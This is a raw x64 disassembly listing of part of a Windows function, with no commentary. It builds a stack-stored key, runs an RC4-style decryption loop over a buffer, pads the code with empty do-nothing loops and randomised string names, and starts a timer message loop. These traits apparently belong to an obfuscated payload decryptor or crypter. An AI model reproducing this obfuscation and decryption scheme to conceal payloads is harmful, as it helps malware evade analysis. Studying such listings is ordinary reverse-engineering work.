mov byte [rsp + 0x24e2], 0x44
mov byte [rsp + 0x24e3], 0x56
mov byte [rsp + 0x24e4], 0x54
mov byte [rsp + 0x24e5], 0x58
mov byte [rsp + 0x24e6], 0x68
mov byte [rsp + 0x24e7], 0x57
mov byte [rsp + 0x24e8], 0x36
mov byte [rsp + 0x24e9], 0x44
mov byte [rsp + 0x24ea], 0x31
mov byte [rsp + 0x24eb], 0x48
mov byte [rsp + 0x24ec], 0x6d
mov byte [rsp + 0x24ed], 0x42
mov byte [rsp + 0x24ee], 0x5a
mov byte [rsp + 0x24ef], 0x37
mov byte [rsp + 0x24f0], 0x44
mov byte [rsp + 0x24f1], 0x74
mov byte [rsp + 0x24f2], 0x59
mov byte [rsp + 0x24f3], 0x67
mov byte [rsp + 0x24f4], 0x34
mov byte [rsp + 0x24f5], 0x46
mov byte [rsp + 0x24f6], 0x52
mov byte [rsp + 0x24f7], 0x51
mov byte [rsp + 0x24f8], 0x37
mov byte [rsp + 0x24f9], 0x6d
mov byte [rsp + 0x24fa], 0x59
mov byte [rsp + 0x24fb], 0x74
mov byte [rsp + 0x24fc], 0x71
mov byte [rsp + 0x24fd], 0x47
mov byte [rsp + 0x24fe], 0x4b
mov byte [rsp + 0x24ff], 0x43
mov byte [rsp + 0x2500], 0x56
mov byte [rsp + 0x2501], 0x48
mov byte [rsp + 0x2502], 0x4c
mov byte [rsp + 0x2503], 0x6d
mov byte [rsp + 0x2504], 0x30
mov byte [rsp + 0x2505], 0x6c
mov byte [rsp + 0x2506], 0x49
mov byte [rsp + 0x2507], 0x55
mov byte [rsp + 0x2508], 0x73
mov byte [rsp + 0x2509], 0x48
mov byte [rsp + 0x250a], 0x41
mov byte [rsp + 0x250b], 0x6d
mov byte [rsp + 0x250c], 0x62
mov byte [rsp + 0x250d], 0x45
mov byte [rsp + 0x250e], 0x44
mov byte [rsp + 0x250f], 0x36
mov byte [rsp + 0x2510], 0x69
mov byte [rsp + 0x2511], 0x6b
mov byte [rsp + 0x2512], 0x48
mov byte [rsp + 0x2513], 0x79
mov byte [rsp + 0x2514], 0x54
mov byte [rsp + 0x2515], 0x79
mov byte [rsp + 0x2516], 0x41
mov byte [rsp + 0x2517], 0x74
mov byte [rsp + 0x2518], 0x62
mov byte [rsp + 0x2519], 0x6f
mov byte [rsp + 0x251a], 0x52
mov byte [rsp + 0x251b], 0x52
mov byte [rsp + 0x251c], 0x4b
mov byte [rsp + 0x251d], 0x57
mov byte [rsp + 0x251e], 0x48
mov byte [rsp + 0x251f], 0x44
mov byte [rsp + 0x2520], 0x36
mov byte [rsp + 0x2521], 0x6c
mov byte [rsp + 0x2522], 0x42
mov byte [rsp + 0x2523], 0x48
mov byte [rsp + 0x2524], 0x65
mov byte [rsp + 0x2525], 0x6c
mov byte [rsp + 0x2526], 0x75
mov byte [rsp + 0x2527], 0x43
mov byte [rsp + 0x2528], 0x6a
mov byte [rsp + 0x2529], 0x65
mov byte [rsp + 0x252a], 0x77
mov byte [rsp + 0x252b], 0x36
mov byte [rsp + 0x252c], 0x50
mov byte [rsp + 0x252d], 0x75
mov byte [rsp + 0x252e], 0x67
mov byte [rsp + 0x252f], 0x78
mov byte [rsp + 0x2530], 0x55
mov byte [rsp + 0x2531], 0x35
mov byte [rsp + 0x2532], 0x5a
mov byte [rsp + 0x2533], 0x6d
mov byte [rsp + 0x2534], 0x32
mov byte [rsp + 0x2535], 0x66
mov byte [rsp + 0x2536], 0x78
mov byte [rsp + 0x2537], 0x53
mov byte [rsp + 0x2538], 0x6d
mov byte [rsp + 0x2539], 0x63
mov byte [rsp + 0x253a], 0x67
mov byte [rsp + 0x253b], 0x34
mov byte [rsp + 0x253c], 0x48
mov byte [rsp + 0x253d], 0x45
mov byte [rsp + 0x253e], 0x46
mov byte [rsp + 0x253f], 0x74
mov byte [rsp + 0x2540], 0x70
mov byte [rsp + 0x2541], 0x41
mov byte [rsp + 0x2542], 0x76
mov byte [rsp + 0x2543], 0x6b
mov byte [rsp + 0x2544], 0x4f
mov byte [rsp + 0x2545], 0x6a
mov byte [rsp + 0x2546], 0x55
mov byte [rsp + 0x2547], 0x6e
mov byte [rsp + 0x2548], 0x78
mov byte [rsp + 0x2549], 0x50
mov byte [rsp + 0x254a], 0x6e
mov byte [rsp + 0x254b], 0x46
mov byte [rsp + 0x254c], 0x6c
mov byte [rsp + 0x254d], 0x79
mov byte [rsp + 0x254e], 0x4f
mov byte [rsp + 0x254f], 0x4f
mov byte [rsp + 0x2550], 0x47
mov byte [rsp + 0x2551], 0x5a
mov byte [rsp + 0x2552], 0x67
mov byte [rsp + 0x2553], 0x37
mov byte [rsp + 0x2554], 0x4f
mov dword [rsp + 0x11c], SafeArrayCopyData
lea rax, [rsp + 0x2140]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rax, [rsp + 0x75]
mov qword [rsp + 0x868], rax
mov rax, qword [rsp + 0x868]
movsxd rcx, dword [rsp + 0x11c]
lea rcx, [rsp + rcx + 0x23c0]
mov r9, rax
mov r8, rcx
lea rdx, [rsp + 0x23c0]
lea rcx, [rsp + 0x2140]
call fcn.140509a90
nop
lea rax, [rsp + 0x2130]
mov rdi, rax
xor eax, eax
mov ecx, 8
rep stosb byte [rdi], al
lea rdx, [rsp + 0x2130]
lea rcx, [rsp + 0x2140]
call fcn.1405091d0
lea rax, [rsp + 0x2138]
mov rdi, rax
xor eax, eax
mov ecx, 8
rep stosb byte [rdi], al
lea rdx, [rsp + 0x2138]
lea rcx, [rsp + 0x2140]
call fcn.140509170
nop
lea rax, [rsp + 0x2108]
mov rdi, rax
xor eax, eax
mov ecx, 8
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x2138]
mov qword [rsp + 0x2108], rax
xor eax, eax
neg rax
mov rcx, qword [rsp + 0x2108]
lea rax, [rcx + rax*4]
mov qword [rsp + 0x2108], rax
lea rax, [rsp + 0x2108]
mov qword [rsp + 0x8d8], rax
mov rax, qword [rsp + 0x2108]
mov qword [rsp + 0x870], rax
lea rax, [rsp + 0x870]
mov qword [rsp + 0x880], rax
lea rax, [rsp + 0x2110]
mov rdi, rax
xor eax, eax
mov ecx, 8
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x2130]
mov qword [rsp + 0x2110], rax
mov eax, 1
imul rax, rax, 4
add rax, qword [rsp + 0x2110]
mov qword [rsp + 0x2110], rax
mov rax, qword [rsp + 0x2110]
mov qword [rsp + 0x878], rax
lea rax, [rsp + 0x878]
mov qword [rsp + 0x888], rax
mov rax, qword [rsp + 0x880]
mov r9, qword [rax]
mov rax, qword [rsp + 0x888]
mov r8, qword [rax]
lea rdx, [rsp + 0x8e0]
lea rcx, [rsp + 0x2140]
call fcn.140509230
nop
lea rcx, [rsp + 0x2140]
call fcn.1405096c0
nop
mov dword [rsp + 0x34], 0
lea rax, [rsp + 0x25d0]
lea rcx, str.Debug_BqpufWpirmzB
mov rdi, rax
mov rsi, rcx
mov ecx, 0x26
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x25f6]
mov rdi, rax
xor eax, eax
mov ecx, 0xa2
rep stosb byte [rdi], al
mov dword [rsp + 0x50], 0
lea rcx, [rsp + 0x25d0]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
dec eax
mov dword [rsp + 0x54], eax
lea rax, [rsp + 0x1b50]
mov rdi, rax
xor eax, eax
mov ecx, 0x2a0
rep stosb byte [rdi], al
mov dword [rsp + 0xa0], 0
jmp 0x140004966
mov eax, dword [rsp + 0xa0]
inc eax
mov dword [rsp + 0xa0], eax
movsxd rax, dword [rsp + 0xa0]
cmp rax, 7
jae 0x14000499f
mov dword [rsp + 0xa4], 0
jmp 0x140004991
mov eax, dword [rsp + 0xa4]
inc eax
mov dword [rsp + 0xa4], eax
cmp dword [rsp + 0xa4], 0x18
jge 0x14000499d
jmp 0x140004981
jmp 0x140004956
lea rax, [rsp + 0x18b0]
mov rdi, rax
xor eax, eax
mov ecx, 0x2a0
rep stosb byte [rdi], al
mov dword [rsp + 0xa8], 0
jmp 0x1400049d0
mov eax, dword [rsp + 0xa8]
inc eax
mov dword [rsp + 0xa8], eax
movsxd rax, dword [rsp + 0xa8]
cmp rax, 7
jae 0x140004a09
mov dword [rsp + 0xac], 0
jmp 0x1400049fb
mov eax, dword [rsp + 0xac]
inc eax
mov dword [rsp + 0xac], eax
cmp dword [rsp + 0xac], 0x18
jge 0x140004a07
jmp 0x1400049eb
jmp 0x1400049c0
lea rax, [rsp + 0x1610]
mov rdi, rax
xor eax, eax
mov ecx, 0x2a0
rep stosb byte [rdi], al
mov dword [rsp + 0xb0], 0
jmp 0x140004a3a
mov eax, dword [rsp + 0xb0]
inc eax
mov dword [rsp + 0xb0], eax
movsxd rax, dword [rsp + 0xb0]
cmp rax, 7
jae 0x140004a73
mov dword [rsp + 0xb4], 0
jmp 0x140004a65
mov eax, dword [rsp + 0xb4]
inc eax
mov dword [rsp + 0xb4], eax
cmp dword [rsp + 0xb4], 0x18
jge 0x140004a71
jmp 0x140004a55
jmp 0x140004a2a
mov eax, dword [rsp + 0x54]
cmp dword [rsp + 0x50], eax
jge 0x140004ad1
movsxd rax, dword [rsp + 0x50]
movzx eax, word [rsp + rax*2 + 0x25d0]
mov word [rsp + 0x78], ax
movsxd rax, dword [rsp + 0x54]
movsxd rcx, dword [rsp + 0x50]
movzx eax, word [rsp + rax*2 + 0x25d0]
mov word [rsp + rcx*2 + 0x25d0], ax
movsxd rax, dword [rsp + 0x54]
movzx ecx, word [rsp + 0x78]
mov word [rsp + rax*2 + 0x25d0], cx
mov eax, dword [rsp + 0x50]
inc eax
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x54]
dec eax
mov dword [rsp + 0x54], eax
jmp 0x140004a73
lea rax, str.CTX_meCkgVf
lea rcx, [rsp + 0x25d0]
mov dword [rsp + 0x3c], 0
jmp 0x140004af4
mov eax, dword [rsp + 0x3c]
inc eax
mov dword [rsp + 0x3c], eax
cmp dword [rsp + 0x3c], 0x100
jge 0x140004bae
lea rax, [rsp + 0x2118]
mov qword [rsp + 0x890], rax
movsxd rax, dword [rsp + 0x3c]
mov rcx, qword [rsp + 0x890]
mov rcx, qword [rcx]
lea rax, [rcx + rax*4]
mov qword [rsp + 0x898], rax
mov rax, qword [rsp + 0x898]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x34]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x124], eax
mov eax, dword [rsp + 0x3c]
cdq
idiv dword [rsp + 0x120]
mov eax, edx
cdqe
mov rdx, rax
mov rcx, qword [rsp + 0x29b8]
call fcn.1405093d0
movsx eax, byte [rax]
mov ecx, dword [rsp + 0x124]
add ecx, eax
mov eax, ecx
cdq
and edx, 0xff
add eax, edx
and eax, 0xff
sub eax, edx
mov dword [rsp + 0x34], eax
mov r9d, dword [rsp + 0x34]
mov r8d, dword [rsp + 0x3c]
lea rdx, [rsp + 0x2118]
mov rcx, qword [rsp + 0x29a0]
call fcn.140001260
nop
jmp 0x140004aea
lea rax, [rsp + 0xe90]
mov rdi, rax
xor eax, eax
mov ecx, 0x1e0
rep stosb byte [rdi], al
mov dword [rsp + 0xb8], 0
jmp 0x140004bdf
mov eax, dword [rsp + 0xb8]
inc eax
mov dword [rsp + 0xb8], eax
movsxd rax, dword [rsp + 0xb8]
cmp rax, 6
jae 0x140004c18
mov dword [rsp + 0xbc], 0
jmp 0x140004c0a
mov eax, dword [rsp + 0xbc]
inc eax
mov dword [rsp + 0xbc], eax
cmp dword [rsp + 0xbc], 0xa
jge 0x140004c16
jmp 0x140004bfa
jmp 0x140004bcf
lea rax, [rsp + 0xcb0]
mov rdi, rax
xor eax, eax
mov ecx, 0x1e0
rep stosb byte [rdi], al
mov dword [rsp + 0xc0], 0
jmp 0x140004c49
mov eax, dword [rsp + 0xc0]
inc eax
mov dword [rsp + 0xc0], eax
movsxd rax, dword [rsp + 0xc0]
cmp rax, 6
jae 0x140004c82
mov dword [rsp + 0xc4], 0
jmp 0x140004c74
mov eax, dword [rsp + 0xc4]
inc eax
mov dword [rsp + 0xc4], eax
cmp dword [rsp + 0xc4], 0xa
jge 0x140004c80
jmp 0x140004c64
jmp 0x140004c39
lea rax, [rsp + 0xad0]
mov rdi, rax
xor eax, eax
mov ecx, 0x1e0
rep stosb byte [rdi], al
mov dword [rsp + 0xc8], 0
jmp 0x140004cb3
mov eax, dword [rsp + 0xc8]
inc eax
mov dword [rsp + 0xc8], eax
movsxd rax, dword [rsp + 0xc8]
cmp rax, 6
jae 0x140004cec
mov dword [rsp + 0xcc], 0
jmp 0x140004cde
mov eax, dword [rsp + 0xcc]
inc eax
mov dword [rsp + 0xcc], eax
cmp dword [rsp + 0xcc], 0xa
jge 0x140004cea
jmp 0x140004cce
jmp 0x140004ca3
lea rax, [rsp + 0x8f0]
mov rdi, rax
xor eax, eax
mov ecx, 0x1e0
rep stosb byte [rdi], al
mov dword [rsp + 0xd0], 0
jmp 0x140004d1d
mov eax, dword [rsp + 0xd0]
inc eax
mov dword [rsp + 0xd0], eax
movsxd rax, dword [rsp + 0xd0]
cmp rax, 6
jae 0x140004d56
mov dword [rsp + 0xd4], 0
jmp 0x140004d48
mov eax, dword [rsp + 0xd4]
inc eax
mov dword [rsp + 0xd4], eax
cmp dword [rsp + 0xd4], 0xa
jge 0x140004d54
jmp 0x140004d38
jmp 0x140004d0d
mov dword [rsp + 0x58], 0
mov dword [rsp + 0x34], 0
mov dword [rsp + 0x64], 0
jmp 0x140004d7a
mov eax, dword [rsp + 0x64]
inc eax
mov dword [rsp + 0x64], eax
mov rax, qword [rsp + 0x29b0]
mov qword [rsp + 0x148], rax
mov rax, qword [rsp + 0x148]
mov rcx, qword [rsp + 0x148]
mov rcx, qword [rcx]
mov rax, qword [rax + 8]
sub rax, rcx
mov qword [rsp + 0x8a0], rax
movsxd rax, dword [rsp + 0x64]
mov rcx, qword [rsp + 0x8a0]
cmp rax, rcx
jae 0x140004f64
mov eax, dword [rsp + 0x58]
inc eax
cdq
and edx, 0xff
add eax, edx
and eax, 0xff
sub eax, edx
mov dword [rsp + 0x58], eax
lea rax, [rsp + 0x2118]
mov qword [rsp + 0x8a8], rax
movsxd rax, dword [rsp + 0x58]
mov rcx, qword [rsp + 0x8a8]
mov rcx, qword [rcx]
lea rax, [rcx + rax*4]
mov qword [rsp + 0x8b0], rax
mov rax, qword [rsp + 0x8b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x34]
add ecx, eax
mov eax, ecx
cdq
and edx, 0xff
add eax, edx
and eax, 0xff
sub eax, edx
mov dword [rsp + 0x34], eax
mov r9d, dword [rsp + 0x34]
mov r8d, dword [rsp + 0x58]
lea rdx, [rsp + 0x2118]
mov rcx, qword [rsp + 0x29a0]
call fcn.140001260
lea rax, [rsp + 0x2118]
mov qword [rsp + 0x8b8], rax
movsxd rax, dword [rsp + 0x58]
mov rcx, qword [rsp + 0x8b8]
mov rcx, qword [rcx]
lea rax, [rcx + rax*4]
mov qword [rsp + 0x7c8], rax
lea rax, [rsp + 0x2118]
mov qword [rsp + 0x8c0], rax
movsxd rax, dword [rsp + 0x34]
mov rcx, qword [rsp + 0x8c0]
mov rcx, qword [rcx]
lea rax, [rcx + rax*4]
mov qword [rsp + 0x818], rax
mov rax, qword [rsp + 0x7c8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x818]
add eax, dword [rcx]
cdq
and edx, 0xff
add eax, edx
and eax, 0xff
sub eax, edx
mov dword [rsp + 0x128], eax
mov rax, qword [rsp + 0x29b0]
mov qword [rsp + 0x7d0], rax
movsxd rax, dword [rsp + 0x64]
mov rcx, qword [rsp + 0x7d0]
mov rcx, qword [rcx]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7e0], rax
lea rax, [rsp + 0x2118]
mov qword [rsp + 0x7d8], rax
movsxd rax, dword [rsp + 0x128]
mov rcx, qword [rsp + 0x7d8]
mov rcx, qword [rcx]
lea rax, [rcx + rax*4]
mov qword [rsp + 0x808], rax
mov rax, qword [rsp + 0x7e0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x808]
xor eax, dword [rcx]
mov byte [rsp + 0x2100], al
lea rdx, [rsp + 0x2100]
lea rcx, [rsp + 0x2158]
call fcn.14050a630
nop
jmp 0x140004d70
lea rax, [rsp + 0x2560]
lea rcx, str.Var_khLwCbxApQrrErQdMdJzbK
mov rdi, rax
mov rsi, rcx
mov ecx, 0x36
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x2596]
mov rdi, rax
xor eax, eax
mov ecx, 0x2e
rep stosb byte [rdi], al
mov dword [rsp + 0xf0], 9
lea rcx, [rsp + 0x2560]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0xd8], eax
mov eax, dword [rsp + 0xd8]
cmp dword [rsp + 0xf0], eax
jle 0x140004fd4
mov eax, dword [rsp + 0xf0]
mov dword [rsp + 0xf4], eax
jmp 0x140004fe2
mov eax, dword [rsp + 0xd8]
mov dword [rsp + 0xf4], eax
mov eax, dword [rsp + 0xf4]
mov dword [rsp + 0x70], eax
lea r9, [0x140005130]
mov r8d, 0x1bb
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_SetTimer]
nop
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x2170]
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x140005040
lea rcx, [rsp + 0x2170]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rsp + 0x2170]
call qword [sym.imp.USER32.dll_DispatchMessageW]
nop
jmp 0x140005040
movsxd rax, dword [rsp + 0x70]
mov r8, rax
lea rdx, [rsp + 0x2560]
lea rcx, [rsp + 0x28a0]
call fcn.140511d68
nop
mov eax, dword [rsp + 0xd8]
mov dword [rsp + 0x68], eax
jmp 0x140005075
mov eax, dword [rsp + 0x68]
inc eax
mov dword [rsp + 0x68], eax
mov eax, dword [rsp + 0x70]
cmp dword [rsp + 0x68], eax
jge 0x140005093
movsxd rax, dword [rsp + 0x68]
mov ecx, 0x30
mov word [rsp + rax*2 + 0x28a0], cx
jmp 0x14000506b
movsxd rax, dword [rsp + 0x70]
shl rax, 1
mov qword [rsp + 0x138], rax
cmp qword [rsp + 0x138], 0xc8
jae 0x1400050b3
jmp 0x1400050b9
call fcn.14050c4a8
nop
xor eax, eax
mov rcx, qword [rsp + 0x138]
mov word [rsp + rcx + 0x28a0], ax
lea rdx, [rsp + 0x2158]
mov rcx, qword [rsp + 0x29a8]
call fcn.140508ee0
mov eax, dword [rsp + 0xf8]
or eax, 1
mov dword [rsp + 0xf8], eax
lea rcx, [rsp + 0x2158]
call fcn.140509560
nop
lea rcx, [rsp + 0x2118]
call fcn.1405096c0
nop
mov rax, qword [rsp + 0x29a8]
mov rcx, qword [rsp + 0x2970]
xor rcx, rsp
call fcn.14050c380
add rsp, 0x2988
pop rdi
pop rsi
ret